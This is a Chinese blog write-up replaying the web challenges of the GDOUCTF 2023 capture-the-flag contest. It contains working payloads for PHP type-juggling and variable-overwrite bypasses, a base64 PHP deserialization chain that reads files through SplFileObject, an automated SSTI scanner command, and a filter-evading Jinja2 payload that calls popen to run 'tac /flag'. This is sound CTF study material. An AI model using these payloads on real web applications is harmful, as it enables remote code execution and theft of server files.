目录

  1. 1. 前言
  2. 2. WEB
    1. 2.1. hate eat snake
    2. 2.2. 受不了一点
    3. 2.3. EZ WEB
    4. 2.4. 泄露的伪装
      1. 2.4.1. 常规解
      2. 2.4.2. 其他解
    5. 2.5. 反方向的钟
    6. 2.6. <ez_ze>
      1. 2.6.1. 一把梭
      2. 2.6.2. 预期解

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

GDOUCTF 2023 复现

2023/4/22 CTF线上赛
  |     |   总文章阅读量:

前言

官方wp

image-20230422003601238

image-20230422003631326

因为忙着打校赛以及期中考的原因导致这场比赛就摸了个签到就润了(

yysy海报真好看,很戳xp(杀软二刺螈.jpg

WEB

hate eat snake

js代码混淆

题目是一个贪吃蛇游戏,右键检查查看js文件

发现使用了js代码混淆,难以直接找到flag

image-20230422222808648

于是查找if语句,发现判断胜利的语句是getScore>60

搜索发现getScoreSnake.prototype

image-20230422223311444

于是在控制台中执行并启动游戏得到flag

image-20230422223517422

受不了一点

php特性

image-20230423203240611

  1. MD5强比较

    直接用数组绕过

  2. 传入cookie

  3. php弱类型比较

    分别传入114514和114514a

  4. 变量覆盖

foreach ($_POST as $key => $value) {
    $$key = $value;   //(注意这里value只有一个$,把post进去的数组键名作为变量,数组中的键值作为变量的值
}
foreach ($_GET as $key => $value) {
    $$key = $$value;    //(注意这里value有2个$
}

eg:

设置了一个变量$a=a,然后post传入a=b,那么就会把前面$a的值覆盖掉变成$a=b,foreach ($_GET as $key => $value) {$$key = $$value; } //(注意这里value有2个$同上,假如先设置了一个变量$a=a,然后get传入a=b,那么就会把前面$a的值覆盖掉变成$a=$b

因为$flag会被直接echo,所以要做的是不让$flag被覆盖

POST传入1=flag$1=flag(此时创建了一个新参数1

GET传入1=flag$1=flag,然后传入flag=1$flag=$$1=$flag

payload:

image-20230423203414129

EZ WEB

src源码泄露

PUT请求

打开题目,f12查看网页源码发现提示/src泄露

image-20230422223856533

访问/src得到python源码

import flask

app = flask.Flask(__name__)

@app.route('/', methods=['GET'])
def index():
  return flask.send_file('index.html')

@app.route('/src', methods=['GET'])
def source():
  return flask.send_file('app.py')

@app.route('/super-secret-route-nobody-will-guess', methods=['PUT'])
def flag():
  return open('flag').read()

很明显是要求我们用PUT请求访问其路由,于是启动burpsuite

修改为PUT请求发送得到flag

image-20230422224250826

image-20230422224423788

泄露的伪装

源码泄露

伪协议

常规解

打开题目,没有发现任何提示

image-20230424211544845

于是这里选择直接dirsearch扫描

image-20230424211705153

发现存在文件泄露

访问/test.txt发现php源码

<?php
error_reporting(0);
if(isset($_GET['cxk'])){
    $cxk=$_GET['cxk'];
    if(file_get_contents($cxk)=="ctrl"){
        echo $flag;
    }else{
        echo "洗洗睡吧";
    }
}else{
    echo "nononoononoonono";
}
?>

访问/www.rar得到压缩包

解压后发现一个txt文件

image-20230424212032318

访问/orzorz.php,发现就是上面的php页面

由于第二个if语句中要求读取的文件内要有ctrl才能返回flag,所以这里需要考虑使用php://inputdata://协议传入带有’ctrl’的字符串

image-20230424213118727

其他解

在靶机出网的情况下

?cxk=http://你的公网IP/1.txt

1.txt里面的内容为ctrl

反方向的钟

反序列化

SplFileObject原生类

打开题目看到php源码发现是反序列化

<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
    public $name;
    public $rank;
    private $salary;
    public function __construct($name,$rank,$salary = 10000){	//此处会直接赋值$salary=10000
        $this->name = $name;
        $this->rank = $rank;
        $this->salary = $salary;
    }
}

class classroom{
    public $name;
    public $leader;
    public function __construct($name,$leader){
        $this->name = $name;
        $this->leader = $leader;
    }
    public function hahaha(){
        if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
            return False;
        }
        else{
            return True;
        }
    }
}

class school{
    public $department;
    public $headmaster;
    public function __construct($department,$ceo){
        $this->department = $department;
        $this->headmaster = $ceo;
    }
    public function IPO(){
        if($this->headmaster == 'ong'){
            echo "Pretty Good ! Ctfer!\n";
            echo new $_POST['a']($_POST['b']);
        }
    }
    public function __wakeup(){
        if($this->department->hahaha()) {
            $this->IPO();
        }
    }
}

if(isset($_GET['d'])){
    unserialize(base64_decode($_GET['d']));
}
?>

先找最终可利用的代码,发现IPO()中的echo new $_POST['a']($_POST['b']);可以利用SplFileObject原生类执行文件读取

要执行IPO()就要先执行hahaha()

hahaha()中对classroom类中的name属性和leader属性指向的name属性与rank属性有要求,也就说明$leader=new teacher()

那么链子就很清楚了,记得对序列化的结果进行base64编码

<?php
class teacher
{
    public $name = 'ing';
    public $rank = 'department';
    private $salary;
}

class classroom
{
    public $name = 'one class';
    public $leader;
}

class school
{
    public $department;
    public $headmaster = 'ong';
}
$a = new school();
$a->department = new classroom();
$a->department->leader = new teacher();
echo base64_encode(serialize($a));

//Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjozOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO3M6MTU6IgB0ZWFjaGVyAHNhbGFyeSI7Tjt9fXM6MTA6ImhlYWRtYXN0ZXIiO3M6Mzoib25nIjt9

然后就是POST请求利用原生类读取文件获得flag(base64编码)

a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php

image-20230425212010017

<ez_ze>

SSTI

一把梭

使用python的fenjing

pip install fenjing

直接在命令行开梭获取shell

python -m fenjing scan --url http://node3.anna.nssctf.cn:28674

image-20230424210546150

找到flag位置在根目录下,直接cat即可

image-20230424210652735

预期解

进去之后看到页面猜测是SSTI,直接{{7*7}}尝试

image-20230423205526060

发现被过滤

改成{%print(7*7)%}进行尝试

image-20230423205621150

成功回显,则知道是过滤了{}

同时发现执行的文件与POST请求的参数

image-20230424171633323

经过测试发现_,[],.,""都被过滤掉了

那就查看可利用的字符尝试拼接变量

image-20230424172619496

但是只有这些好像行不通。。。只能自己定义来实现拼接了

首先我们知道最终的payload应该为

{%print(().__class__.__bases__.__subclasses__().__getitem__[132].__init__.__globals__.__getitem__(popen)('ls').read())}

然后根据题目过滤的字符进行对应的替换与拼接

{% set po=dict(po=a,p=b)|join%}{% set a=(()|select|string|list)|attr(po)(24)%}{% set ini=(a,a,dict(in=a,it=b)|join,a,a)|join()%}{% set glo=(a,a,dict(glo=a,bals=b)|join,a,a)|join()%}{% set cls=(a,a,dict(cla=a,ss=b)|join,a,a)|join()%}{% set bs=(a,a,dict(bas=a,e=b)|join,a,a)|join()%}{% set geti=(a,a,dict(get=a)|join,dict(item=a)|join,a,a)|join()%}{% set subc=(a,a,dict(subcla=a,sses=b)|join,a,a)|join()%}{% set pp=dict(pop=a,en=b)|join %}{%print(()|attr(cls)|attr(bs)|attr(subc)()|attr(geti)(132)|attr(ini)|attr(glo)|attr(geti)(pp)('tac /flag')|attr('read')() )%}

image-20230428195126529

emmm…感觉这种题只能多积累payload了